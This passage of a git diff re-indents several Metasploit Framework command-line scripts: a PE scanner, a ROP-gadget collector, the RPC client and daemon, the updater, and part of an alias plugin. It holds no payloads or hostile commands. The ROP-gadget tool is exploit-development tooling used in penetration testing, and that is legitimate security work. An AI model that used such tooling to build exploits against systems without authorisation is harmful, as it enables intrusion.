'--disasm', 'Disassemble the bytes at this address') do |t| - param['disasm'] = true + param['disasm'] = true end opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t| - param['imagebase'] = opt2i(t) + param['imagebase'] = opt2i(t) end opt.on('-F', '--filter-addresses [regex]', 'Filter addresses based on a regular expression') do |t| - param['filteraddr'] = t + param['filteraddr'] = t end opt.on_tail("-h", "--help", "Show this message") do - puts opt - exit(1) + puts opt + exit(1) end begin - opt.parse! + opt.parse! rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit(1) + puts "Invalid option, try -h for usage" + exit(1) end if (! worker) - puts opt - exit(1) + puts opt + exit(1) end @@ -153,48 +153,48 @@ files = [] ARGV.each do |file| - if(File.directory?(file)) - dir = Dir.open(file) - dir.entries.each do |ent| - path = File.join(file, ent) - next if not File.file?(path) - files << File.join(path) - end - else - files << file - end + if(File.directory?(file)) + dir = Dir.open(file) + dir.entries.each do |ent| + path = File.join(file, ent) + next if not File.file?(path) + files << File.join(path) + end + else + files << file + end end files.each do |file| - $stdout.puts "" - - param['file'] = file - - begin - pe = pe_klass.new_from_file(file, true) - rescue ::Interrupt - raise $! - rescue Rex::PeParsey::FileHeaderError - next if $!.message == "Couldn't find the PE magic!" - raise $! - rescue Errno::ENOENT - $stdout.puts("File does not exist: #{file}") - next - rescue ::Rex::PeParsey::SkipError - next - rescue ::Exception => e - $stdout.puts "[#{file}] #{e.class}: #{e}" - next - end - - if (param['imagebase']) - pe.image_base = param['imagebase']; - end - - o = worker.new(pe) - o.scan(param) - - pe.close + $stdout.puts "" + + param['file'] = file + + begin + pe = pe_klass.new_from_file(file, true) + rescue ::Interrupt + raise $! + rescue Rex::PeParsey::FileHeaderError + next if $!.message == "Couldn't find the PE magic!" + raise $! + rescue Errno::ENOENT + $stdout.puts("File does not exist: #{file}") + next + rescue ::Rex::PeParsey::SkipError + next + rescue ::Exception => e + $stdout.puts "[#{file}] #{e.class}: #{e}" + next + end + + if (param['imagebase']) + pe.image_base = param['imagebase']; + end + + o = worker.new(pe) + o.scan(param) + + pe.close end $stdout.puts "" diff --git a/msfrop b/msfrop index 91283e571759..6aa981830647 100755 --- a/msfrop +++ b/msfrop @@ -10,7 +10,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -28,7 +28,7 @@ require 'rex/ui/text/color' require 'optparse' def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i + o.index("0x")==0 ? o.hex : o.to_i end opts = {} @@ -40,45 +40,45 @@ opt.separator('') opt.separator('Options:') opt.on('-d', '--depth [size]', 'Number of maximum bytes to backwards disassemble from return instructions') do |d| - opts[:depth] = opt2i(d) + opts[:depth] = opt2i(d) end opt.on('-s', '--search [regex]', 'Search for gadgets matching a regex, match intel syntax or raw bytes') do |regex| - opts[:pattern] = regex + opts[:pattern] = regex end opt.on('-n', '--nocolor', 'Disable color. Useful for piping to other tools like the less and more commands') do - color = false + color = false end opt.on('-x', '--export [filename]', 'Export gadgets to CSV format') do |csv| - opts[:export] = csv + opts[:export] = csv end opt.on('-i', '--import [filename]', 'Import gadgets from previous collections') do |csv| - opts[:import] = csv + opts[:import] = csv end opt.on('-v', '--verbose', 'Output very verbosely') do - opts[:verbose] = true + opts[:verbose] = true end opt.on_tail('-h', '--help', 'Show this message') do - puts opt - exit(1) + puts opt + exit(1) end begin - opt.parse! + opt.parse! rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit(1) + puts "Invalid option, try -h for usage" + exit(1) end if opts.empty? and (ARGV.empty? or ARGV.nil?) - puts "no options" - puts opt - exit(1) + puts "no options" + puts opt + exit(1) end # set defaults @@ -87,88 +87,88 @@ opts[:depth] ||= 5 gadgets = [] if opts[:import].nil? - files = [] - ARGV.each do |file| - if(File.directory?(file)) - dir = Dir.open(file) - dir.entries.each do |ent| - path = File.join(file, ent) - next if not File.file?(path) - files << File.join(path) - end - else - files << file - end - end - - ropbuilder = Rex::RopBuilder::RopCollect.new - - files.each do |file| - ret, retn = [] - ropbuilder = Rex::RopBuilder::RopCollect.new(file) - ropbuilder.print_msg("Collecting gadgets from %bld%cya#{file}%clr\n", color) - retn = ropbuilder.collect(opts[:depth], "\xc2") # retn - ret = ropbuilder.collect(opts[:depth], "\xc3") # ret - ropbuilder.print_msg("Found %grn#{ret.count + retn.count}%clr gadgets\n\n", color) - - # compile a list of all gadgets from all files - ret.each do |gadget| - gadgets << gadget - if opts[:verbose] - ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color) - ropbuilder.print_msg("#{gadget[:disasm]}\n", color) - end - end - - retn.each do |gadget| - gadgets << gadget - if opts[:verbose] - ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color) - ropbuilder.print_msg("#{gadget[:disasm]}\n", color) - end - end - - end - - ropbuilder.print_msg("Found %bld%grn#{gadgets.count}%clr gadgets total\n\n", color) + files = [] + ARGV.each do |file| + if(File.directory?(file)) + dir = Dir.open(file) + dir.entries.each do |ent| + path = File.join(file, ent) + next if not File.file?(path) + files << File.join(path) + end + else + files << file + end + end + + ropbuilder = Rex::RopBuilder::RopCollect.new + + files.each do |file| + ret, retn = [] + ropbuilder = Rex::RopBuilder::RopCollect.new(file) + ropbuilder.print_msg("Collecting gadgets from %bld%cya#{file}%clr\n", color) + retn = ropbuilder.collect(opts[:depth], "\xc2") # retn + ret = ropbuilder.collect(opts[:depth], "\xc3") # ret + ropbuilder.print_msg("Found %grn#{ret.count + retn.count}%clr gadgets\n\n", color) + + # compile a list of all gadgets from all files + ret.each do |gadget| + gadgets << gadget + if opts[:verbose] + ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color) + ropbuilder.print_msg("#{gadget[:disasm]}\n", color) + end + end + + retn.each do |gadget| + gadgets << gadget + if opts[:verbose] + ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color) + ropbuilder.print_msg("#{gadget[:disasm]}\n", color) + end + end + + end + + ropbuilder.print_msg("Found %bld%grn#{gadgets.count}%clr gadgets total\n\n", color) end if opts[:import] - ropbuilder = Rex::RopBuilder::RopCollect.new() - ropbuilder.print_msg("Importing gadgets from %bld%cya#{opts[:import]}\n", color) - gadgets = ropbuilder.import(opts[:import]) + ropbuilder = Rex::RopBuilder::RopCollect.new() + ropbuilder.print_msg("Importing gadgets from %bld%cya#{opts[:import]}\n", color) + gadgets = ropbuilder.import(opts[:import]) - gadgets.each do |gadget| - ropbuilder.print_msg("gadget: %bld%cya#{gadget[:address]}%clr\n", color) - ropbuilder.print_msg(gadget[:disasm] + "\n", color) - end + gadgets.each do |gadget| + ropbuilder.print_msg("gadget: %bld%cya#{gadget[:address]}%clr\n", color) + ropbuilder.print_msg(gadget[:disasm] + "\n", color) + end - ropbuilder.print_msg("Imported %grn#{gadgets.count}%clr gadgets\n", color) + ropbuilder.print_msg("Imported %grn#{gadgets.count}%clr gadgets\n", color) end if opts[:pattern] - matches = ropbuilder.pattern_search(opts[:pattern]) - if opts[:verbose] - ropbuilder.print_msg("Found %grn#{matches.count}%clr matches\n", color) - end + matches = ropbuilder.pattern_search(opts[:pattern]) + if opts[:verbose] + ropbuilder.print_msg("Found %grn#{matches.count}%clr matches\n", color) + end end if opts[:export] - ropbuilder.print_msg("Exporting %grn#{gadgets.count}%clr gadgets to %bld%cya#{opts[:export]}%clr\n", color) - csv = ropbuilder.to_csv(gadgets) - - if csv.nil? - exit(1) - end - - begin - fd = File.new(opts[:export], 'w') - fd.puts csv - fd.close - rescue - puts "Error writing #{opts[:export]} file" - exit(1) - end - ropbuilder.print_msg("%bld%redSuccess!%clr gadgets exported to %bld%cya#{opts[:export]}%clr\n", color) + ropbuilder.print_msg("Exporting %grn#{gadgets.count}%clr gadgets to %bld%cya#{opts[:export]}%clr\n", color) + csv = ropbuilder.to_csv(gadgets) + + if csv.nil? + exit(1) + end + + begin + fd = File.new(opts[:export], 'w') + fd.puts csv + fd.close + rescue + puts "Error writing #{opts[:export]} file" + exit(1) + end + ropbuilder.print_msg("%bld%redSuccess!%clr gadgets exported to %bld%cya#{opts[:export]}%clr\n", color) end diff --git a/msfrpc b/msfrpc index 7947632f3113..4a791dfc132d 100755 --- a/msfrpc +++ b/msfrpc @@ -11,7 +11,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -26,51 +26,51 @@ require 'rex/parser/arguments' # Declare the argument parser for msfrpc arguments = Rex::Parser::Arguments.new( - "-a" => [ true, "Connect to this IP address" ], - "-p" => [ true, "Connect to the specified port instead of 55553" ], - "-U" => [ true, "Specify the username to access msfrpcd" ], - "-P" => [ true, "Specify the password to access msfrpcd" ], - "-S" => [ false, "Disable SSL on the RPC socket" ], - "-h" => [ false, "Help banner" ] + "-a" => [ true, "Connect to this IP address" ], + "-p" => [ true, "Connect to the specified port instead of 55553" ], + "-U" => [ true, "Specify the username to access msfrpcd" ], + "-P" => [ true, "Specify the password to access msfrpcd" ], + "-S" => [ false, "Disable SSL on the RPC socket" ], + "-h" => [ false, "Help banner" ] ) opts = { - 'User' => 'msf', - 'SSL' => true, - 'ServerPort' => 55553, - 'Type' => 'Msg' + 'User' => 'msf', + 'SSL' => true, + 'ServerPort' => 55553, + 'Type' => 'Msg' } # Parse command line arguments. arguments.parse(ARGV) { |opt, idx, val| - case opt - when "-a" - opts['ServerHost'] = val - when "-S" - opts['SSL'] = false - when "-p" - opts['ServerPort'] = val - when '-U' - opts['User'] = val - when '-P' - opts['Pass'] = val - when "-h" - print("\nUsage: #{File.basename(__FILE__)} \n" + arguments.usage) - exit - end + case opt + when "-a" + opts['ServerHost'] = val + when "-S" + opts['SSL'] = false + when "-p" + opts['ServerPort'] = val + when '-U' + opts['User'] = val + when '-P' + opts['Pass'] = val + when "-h" + print("\nUsage: #{File.basename(__FILE__)} \n" + arguments.usage) + exit + end } if(not opts['ServerHost']) - $stderr.puts "[-] Error: a server IP must be specified (-a)" - $stderr.puts arguments.usage - exit(0) + $stderr.puts "[-] Error: a server IP must be specified (-a)" + $stderr.puts arguments.usage + exit(0) end if(not opts['Pass']) - $stderr.puts "[-] Error: a password must be specified (-P)" - $stderr.puts arguments.usage - exit(0) + $stderr.puts "[-] Error: a password must be specified (-P)" + $stderr.puts arguments.usage + exit(0) end $0 = "msfrpc" @@ -79,9 +79,9 @@ require 'msf/core/rpc/v10/client' require 'rex/ui' rpc = Msf::RPC::Client.new( - :host => opts['ServerHost'], - :port => opts['ServerPort'], - :ssl => opts['SSL'] + :host => opts['ServerHost'], + :port => opts['ServerPort'], + :ssl => opts['SSL'] ) res = rpc.login(opts['User'], opts['Pass']) diff --git a/msfrpcd b/msfrpcd index 31b019643589..892dd61a6364 100755 --- a/msfrpcd +++ b/msfrpcd @@ -11,7 +11,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -26,22 +26,22 @@ require 'rex/parser/arguments' # Declare the argument parser for msfrpcd arguments = Rex::Parser::Arguments.new( - "-a" => [ true, "Bind to this IP address" ], - "-p" => [ true, "Bind to this port instead of 55553" ], - "-U" => [ true, "Specify the username to access msfrpcd" ], - "-P" => [ true, "Specify the password to access msfrpcd" ], - "-u" => [ true, "URI for Web server" ], - "-S" => [ false, "Disable SSL on the RPC socket" ], - "-f" => [ false, "Run the daemon in the foreground" ], - "-n" => [ false, "Disable database" ], - "-h" => [ false, "Help banner" ]) + "-a" => [ true, "Bind to this IP address" ], + "-p" => [ true, "Bind to this port instead of 55553" ], + "-U" => [ true, "Specify the username to access msfrpcd" ], + "-P" => [ true, "Specify the password to access msfrpcd" ], + "-u" => [ true, "URI for Web server" ], + "-S" => [ false, "Disable SSL on the RPC socket" ], + "-f" => [ false, "Run the daemon in the foreground" ], + "-n" => [ false, "Disable database" ], + "-h" => [ false, "Help banner" ]) opts = { - 'RunInForeground' => true, - 'SSL' => true, - 'ServerHost' => '0.0.0.0', - 'ServerPort' => 55553, - 'ServerType' => 'Msg' + 'RunInForeground' => true, + 'SSL' => true, + 'ServerHost' => '0.0.0.0', + 'ServerPort' => 55553, + 'ServerType' => 'Msg' } foreground = false @@ -50,32 +50,32 @@ frameworkOpts = {} # Parse command line arguments. arguments.parse(ARGV) { |opt, idx, val| - case opt - when "-a" - opts['ServerHost'] = val - when "-S" - opts['SSL'] = false - when "-p" - opts['ServerPort'] = val - when '-U' - opts['User'] = val - when '-P' - opts['Pass'] = val - when "-f" - foreground = true - when "-u" - opts['URI'] = val - when "-n" - frameworkOpts['DisableDatabase'] = true - when "-h" - print("\nUsage: #{File.basename(__FILE__)} \n" + arguments.usage) - exit - end + case opt + when "-a" + opts['ServerHost'] = val + when "-S" + opts['SSL'] = false + when "-p" + opts['ServerPort'] = val + when '-U' + opts['User'] = val + when '-P' + opts['Pass'] = val + when "-f" + foreground = true + when "-u" + opts['URI'] = val + when "-n" + frameworkOpts['DisableDatabase'] = true + when "-h" + print("\nUsage: #{File.basename(__FILE__)} \n" + arguments.usage) + exit + end } if(not opts['Pass']) - $stderr.puts "[-] Error: a password must be specified (-P)" - exit(0) + $stderr.puts "[-] Error: a password must be specified (-P)" + exit(0) end $0 = "msfrpcd" @@ -92,14 +92,14 @@ require 'msf/ui' # Fork into the background if requested begin - if foreground - $stdout.puts "[*] #{rpctype}RPC ready at #{Time.now}." - else - $stderr.puts "[*] #{rpctype}RPC backgrounding at #{Time.now}..." - exit(0) if Process.fork() - end + if foreground + $stdout.puts "[*] #{rpctype}RPC ready at #{Time.now}." + else + $stderr.puts "[*] #{rpctype}RPC backgrounding at #{Time.now}..." + exit(0) if Process.fork() + end rescue ::NotImplementedError - $stderr.puts "[-] Background mode is not available on this platform" + $stderr.puts "[-] Background mode is not available on this platform" end # Create an instance of the framework @@ -109,7 +109,7 @@ $framework.db.sink.restart if RUBY_PLATFORM !~ /cygwin/ and not frameworkOpts['D # Run the plugin instance in the foreground. begin - $framework.plugins.load("#{rpctype.downcase}rpc", opts).run + $framework.plugins.load("#{rpctype.downcase}rpc", opts).run rescue ::Interrupt - $stderr.puts "[*] Shutting down" + $stderr.puts "[*] Shutting down" end diff --git a/msfupdate b/msfupdate index 69e83e1e1628..9ac8913bb7f9 100755 --- a/msfupdate +++ b/msfupdate @@ -6,7 +6,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end @msfbase_dir = File.dirname(msfbase) @@ -25,103 +25,103 @@ $stderr.puts "" # Bail right away, no waiting around for consoles. if not (Process.uid == 0 or File.stat(msfbase).owned?) - $stderr.puts "[-] ERROR: User running msfupdate does not own the Metasploit installation" - $stderr.puts "[-] Please run msfupdate as the same user who installed Metasploit." - exit 0x10 + $stderr.puts "[-] ERROR: User running msfupdate does not own the Metasploit installation" + $stderr.puts "[-] Please run msfupdate as the same user who installed Metasploit." + exit 0x10 end def is_apt - File.exists?(File.expand_path(File.join(@msfbase_dir, '.apt'))) + File.exists?(File.expand_path(File.join(@msfbase_dir, '.apt'))) end # Are you an installer, or did you get here via a source checkout? def is_installed - File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) && !is_apt + File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) && !is_apt end def is_git - File.directory?(File.join(@msfbase_dir, ".git")) + File.directory?(File.join(@msfbase_dir, ".git")) end def is_svn - File.directory?(File.join(@msfbase_dir, ".svn")) + File.directory?(File.join(@msfbase_dir, ".svn")) end # Adding an upstream enables msfupdate to pull updates from # Rapid7's metasploit-framework repo instead of the repo # the user originally cloned or forked. def add_git_upstream - $stdout.puts "[*] Attempting to add remote 'upstream' to your local git repository." - system("git", "remote", "add", "upstream", "git://github.com/rapid7/metasploit-framework.git") - $stdout.puts "[*] Added remote 'upstream' to your local git repository." + $stdout.puts "[*] Attempting to add remote 'upstream' to your local git repository." + system("git", "remote", "add", "upstream", "git://github.com/rapid7/metasploit-framework.git") + $stdout.puts "[*] Added remote 'upstream' to your local git repository." end def print_deprecation_warning - $stdout.puts "" - $stdout.puts "[-] Deprecation Note: Metasploit source checkouts NO LONGER update" - $stdout.puts "[-] over SVN. You will need to reinstall Metasploit using" - $stdout.puts "[-] binary installers (from http://www.metasploit.com/download )," - $stdout.puts "[-] Debian packages (currently only supported on Kali Linux), or" - $stdout.puts "[-] a development source checkout from GitHub (see http://r-7.co/ZLhA8P )" - $stdout.puts "[-] " - $stdout.puts "[-] For more on msfupdate and migrating off of SVN, see http://r-7.co/MSF-UP" - $stdout.puts "" + $stdout.puts "" + $stdout.puts "[-] Deprecation Note: Metasploit source checkouts NO LONGER update" + $stdout.puts "[-] over SVN. You will need to reinstall Metasploit using" + $stdout.puts "[-] binary installers (from http://www.metasploit.com/download )," + $stdout.puts "[-] Debian packages (currently only supported on Kali Linux), or" + $stdout.puts "[-] a development source checkout from GitHub (see http://r-7.co/ZLhA8P )" + $stdout.puts "[-] " + $stdout.puts "[-] For more on msfupdate and migrating off of SVN, see http://r-7.co/MSF-UP" + $stdout.puts "" end # This only exits if you actually pass a wait option, otherwise # just returns nil. This is likely unexpected, revisit this. def maybe_wait_and_exit(exit_code=0) - if @actually_wait - $stdout.puts "" - $stdout.puts "[*] Please hit enter to exit" - $stdout.puts "" - $stdin.readline - exit exit_code - end + if @actually_wait + $stdout.puts "" + $stdout.puts "[*] Please hit enter to exit" + $stdout.puts "" + $stdin.readline + exit exit_code + end end def apt_upgrade_available(package) - require 'open3' - installed = nil - upgrade = nil - ::Open3.popen3({'LANG'=>'en_US.UTF-8'}, "apt-cache", "policy", package) do |stdin, stdout, stderr| - stdout.each do |line| - installed = $1 if line =~ /Installed: ([\w\-+.:~]+)$/ - upgrade = $1 if line =~ /Candidate: ([\w\-+.:~]+)$/ - break if installed && upgrade - end - end - if installed && installed != upgrade - upgrade - else - nil - end + require 'open3' + installed = nil + upgrade = nil + ::Open3.popen3({'LANG'=>'en_US.UTF-8'}, "apt-cache", "policy", package) do |stdin, stdout, stderr| + stdout.each do |line| + installed = $1 if line =~ /Installed: ([\w\-+.:~]+)$/ + upgrade = $1 if line =~ /Candidate: ([\w\-+.:~]+)$/ + break if installed && upgrade + end + end + if installed && installed != upgrade + upgrade + else + nil + end end # Some of these args are meaningful for SVN, some for Git, # some for both. Fun times. @args.each_with_index do |arg,i| - case arg - # Handle the old wait/nowait argument behavior - when "wait", "nowait" - @wait_index = i - @actually_wait = (arg == "wait") - # An empty or absent config-dir means a default config-dir - when "--config-dir" - @configdir_index = i - # A defined config dir means a defined config-dir - when /--config-dir=(.*)?/ - # Spaces in the directory should be fine since this whole thing is passed - # as a single argument via the multi-arg syntax for system() below. - @configdir = $1 - @configdir_index = i - when /--git-remote=([^\s]*)?/ - @git_remote = $1 - @git_remote_index = i - when /--git-branch=([^\s]*)?/ - @git_branch = $1 - @git_branch_index = i - end + case arg + # Handle the old wait/nowait argument behavior + when "wait", "nowait" + @wait_index = i + @actually_wait = (arg == "wait") + # An empty or absent config-dir means a default config-dir + when "--config-dir" + @configdir_index = i + # A defined config dir means a defined config-dir + when /--config-dir=(.*)?/ + # Spaces in the directory should be fine since this whole thing is passed + # as a single argument via the multi-arg syntax for system() below. + @configdir = $1 + @configdir_index = i + when /--git-remote=([^\s]*)?/ + @git_remote = $1 + @git_remote_index = i + when /--git-branch=([^\s]*)?/ + @git_branch = $1 + @git_branch_index = i + end end @args[@wait_index] = nil if @wait_index @@ -133,122 +133,122 @@ end ####### Since we're SVN, do it all this way ####### if is_svn - # We're fully deprecated now, so just exit. - # Leaving in the commented code in case someone wants to - # get a last-chance at msfupdate before the SVN server goes - # off line, which will be ANY DAY NOW. Seriously. - print_deprecation_warning - $stdin.readline if @actually_wait - exit(0x11) # Comment this to get old functionality back. - @args.push("--config-dir=#{@configdir}") - @args.push("--non-interactive") - - res = system("svn", "cleanup") - if res.nil? - $stderr.puts "[-] ERROR: Failed to run svn" - $stderr.puts "" - $stderr.puts "[-] If you used a binary installer, make sure you run the symlink in" - $stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)" - $stderr.puts "[-] to ensure a proper environment." - maybe_wait_and_exit 1 - else - # Cleanup worked, go ahead and update - system("svn", "update", *@args) - end + # We're fully deprecated now, so just exit. + # Leaving in the commented code in case someone wants to + # get a last-chance at msfupdate before the SVN server goes + # off line, which will be ANY DAY NOW. Seriously. + print_deprecation_warning + $stdin.readline if @actually_wait + exit(0x11) # Comment this to get old functionality back. + @args.push("--config-dir=#{@configdir}") + @args.push("--non-interactive") + + res = system("svn", "cleanup") + if res.nil? + $stderr.puts "[-] ERROR: Failed to run svn" + $stderr.puts "" + $stderr.puts "[-] If you used a binary installer, make sure you run the symlink in" + $stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)" + $stderr.puts "[-] to ensure a proper environment." + maybe_wait_and_exit 1 + else + # Cleanup worked, go ahead and update + system("svn", "update", *@args) + end end ####### Since we're Git, do it all that way ####### if is_git - out = `git remote show upstream` # Actually need the output for this one. - add_git_upstream unless $?.success? and out =~ %r{(https|git|git@github\.com):(//github\.com/)?(rapid7/metasploit-framework\.git)} - - remote = @git_remote || "upstream" - branch = @git_branch || "master" - - # This will save local changes in a stash, but won't - # attempt to reapply them. If the user wants them back - # they can always git stash pop them, and that presumes - # they know what they're doing when they're editing local - # checkout, which presumes they're not using msfupdate - # to begin with. - # - # Note, this requires at least user.name and user.email - # to be configured in the global git config. Installers should - # take care that this is done. TODO: Enforce this in msfupdate - committed = system("git", "diff", "--quiet", "HEAD") - if committed.nil? - $stderr.puts "[-] ERROR: Failed to run git" - $stderr.puts "" - $stderr.puts "[-] If you used a binary installer, make sure you run the symlink in" - $stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)" - $stderr.puts "[-] to ensure a proper environment." - maybe_wait_and_exit 1 - elsif not committed - system("git", "stash") - $stdout.puts "[*] Stashed local changes to avoid merge conflicts." - $stdout.puts "[*] Run `git stash pop` to reapply local changes." - end - - system("git", "reset", "HEAD", "--hard") - system("git", "checkout", branch) - system("git", "fetch", remote) - system("git", "merge", "#{remote}/#{branch}") - - $stdout.puts "[*] Updating gems..." - require 'bundler' - Bundler.with_clean_env do - system("bundle", "install") - end + out = `git remote show upstream` # Actually need the output for this one. + add_git_upstream unless $?.success? and out =~ %r{(https|git|git@github\.com):(//github\.com/)?(rapid7/metasploit-framework\.git)} + + remote = @git_remote || "upstream" + branch = @git_branch || "master" + + # This will save local changes in a stash, but won't + # attempt to reapply them. If the user wants them back + # they can always git stash pop them, and that presumes + # they know what they're doing when they're editing local + # checkout, which presumes they're not using msfupdate + # to begin with. + # + # Note, this requires at least user.name and user.email + # to be configured in the global git config. Installers should + # take care that this is done. TODO: Enforce this in msfupdate + committed = system("git", "diff", "--quiet", "HEAD") + if committed.nil? + $stderr.puts "[-] ERROR: Failed to run git" + $stderr.puts "" + $stderr.puts "[-] If you used a binary installer, make sure you run the symlink in" + $stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)" + $stderr.puts "[-] to ensure a proper environment." + maybe_wait_and_exit 1 + elsif not committed + system("git", "stash") + $stdout.puts "[*] Stashed local changes to avoid merge conflicts." + $stdout.puts "[*] Run `git stash pop` to reapply local changes." + end + + system("git", "reset", "HEAD", "--hard") + system("git", "checkout", branch) + system("git", "fetch", remote) + system("git", "merge", "#{remote}/#{branch}") + + $stdout.puts "[*] Updating gems..." + require 'bundler' + Bundler.with_clean_env do + system("bundle", "install") + end end if is_installed - update_script = File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb")) - product_key = File.expand_path(File.join(@msfbase_dir, "..", "engine", "license", "product.key")) - if File.exists? product_key - if File.readable? product_key - system("ruby", update_script) - else - $stdout.puts "[-] ERROR: Failed to update Metasploit installation" - $stdout.puts "" - $stdout.puts "[-] You must be able to read the product key for the" - $stdout.puts "[-] Metasploit installation in order to run msfupdate." - $stdout.puts "[-] Usually, this means you must be root (EUID 0)." - maybe_wait_and_exit 10 - end - else - $stdout.puts "[-] ERROR: Failed to update Metasploit installation" - $stdout.puts "" - $stdout.puts "[-] In order to update your Metasploit installation," - $stdout.puts "[-] you must first register it through the UI, here:" - $stderr.puts "[-] https://localhost:3790 (note, Metasploit Community" - $stderr.puts "[-] Edition is totally free and takes just a few seconds" - $stderr.puts "[-] to register!)" - maybe_wait_and_exit 11 - end + update_script = File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb")) + product_key = File.expand_path(File.join(@msfbase_dir, "..", "engine", "license", "product.key")) + if File.exists? product_key + if File.readable? product_key + system("ruby", update_script) + else + $stdout.puts "[-] ERROR: Failed to update Metasploit installation" + $stdout.puts "" + $stdout.puts "[-] You must be able to read the product key for the" + $stdout.puts "[-] Metasploit installation in order to run msfupdate." + $stdout.puts "[-] Usually, this means you must be root (EUID 0)." + maybe_wait_and_exit 10 + end + else + $stdout.puts "[-] ERROR: Failed to update Metasploit installation" + $stdout.puts "" + $stdout.puts "[-] In order to update your Metasploit installation," + $stdout.puts "[-] you must first register it through the UI, here:" + $stderr.puts "[-] https://localhost:3790 (note, Metasploit Community" + $stderr.puts "[-] Edition is totally free and takes just a few seconds" + $stderr.puts "[-] to register!)" + maybe_wait_and_exit 11 + end end if is_apt - $stdout.puts "[*] Checking for updates" - system("apt-get", "-qq", "update") + $stdout.puts "[*] Checking for updates" + system("apt-get", "-qq", "update") - packages = [] - packages << 'metasploit-framework' if framework_version = apt_upgrade_available('metasploit-framework') - packages << 'metasploit' if pro_version = apt_upgrade_available('metasploit') + packages = [] + packages << 'metasploit-framework' if framework_version = apt_upgrade_available('metasploit-framework') + packages << 'metasploit' if pro_version = apt_upgrade_available('metasploit') - if packages.empty? - $stdout.puts "[*] No updates available" - else - $stdout.puts "[*] Updating to version #{pro_version || framework_version}" - system("apt-get", "install", "--assume-yes", *packages) - if packages.include?('metasploit') - start_cmd = File.expand_path(File.join(@msfbase_dir, '..', '..', '..', 'scripts', 'start.sh')) - system(start_cmd) if ::File.executable_real? start_cmd - end - end + if packages.empty? + $stdout.puts "[*] No updates available" + else + $stdout.puts "[*] Updating to version #{pro_version || framework_version}" + system("apt-get", "install", "--assume-yes", *packages) + if packages.include?('metasploit') + start_cmd = File.expand_path(File.join(@msfbase_dir, '..', '..', '..', 'scripts', 'start.sh')) + system(start_cmd) if ::File.executable_real? start_cmd + end + end end unless is_svn || is_git || is_installed || is_apt - raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'" + raise RuntimeError, "Cannot determine checkout type: `#{@msfbase_dir}'" end maybe_wait_and_exit(0) diff --git a/msfvenom b/msfvenom index 5766ea0f6680..daa0d7d3ff94 100755 --- a/msfvenom +++ b/msfvenom @@ -3,7 +3,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) diff --git a/plugins/alias.rb b/plugins/alias.rb index a936c7937802..aeb141d1f570 100644 --- a/plugins/alias.rb +++ b/plugins/alias.rb @@ -8,339 +8,339 @@ module Msf class Plugin::Alias < Msf::Plugin - class AliasCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - attr_reader :aliases - def initialize(driver) - super(driver) - @aliases = {} - end - - def name - "Alias" - end - - @@alias_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner." ], - "-c" => [ true, "Clear an alias (* to clear all)."], - "-f" => [ true, "Force an alias assignment." ] - ) - # - # Returns the hash of commands supported by this dispatcher. - # - def commands # driver.dispatcher_stack[3].commands - { - "alias" => "create or view an alias." - # "alias_clear" => "clear an alias (or all aliases).", - # "alias_force" => "Force an alias (such as to override)" - }.merge(aliases) # make aliased commands available as commands of their own - end - - # - # the main alias command handler - # - # usage: alias [options] [name [value]] - def cmd_alias(*args) - # we parse args manually instead of using @@alias.opts.parse to handle special cases - case args.length - when 0 # print the list of current aliases - if @aliases.length == 0 - return print_status("No aliases currently defined") - else - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Current Aliases", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Columns' => [ '', 'Alias Name', 'Alias Value' ] - ) - # add 'alias' in front of each row so that the output can be copy pasted into an rc file if desired - @aliases.each_pair do |key,val| - tbl << ["alias",key,val] - end - return print(tbl.to_s) - end - when 1 # display the alias if one matches this name (or help) - return cmd_alias_help if args[0] == "-h" or args[0] == "--help" - if @aliases.keys.include?(args[0]) - print_status("\'#{args[0]}\' is aliased to \'#{@aliases[args[0]]}\'") - else - print_status("\'#{args[0]}\' is not currently aliased") - end - else # let's see if we can assign or clear the alias - force = false - clear = false - # if using -f or -c, they must be the first arg, because -f/-c may also show up in the alias - # value so we can't do something like if args.include("-f") or delete_if etc - # we should never have to force and clear simultaneously. - if 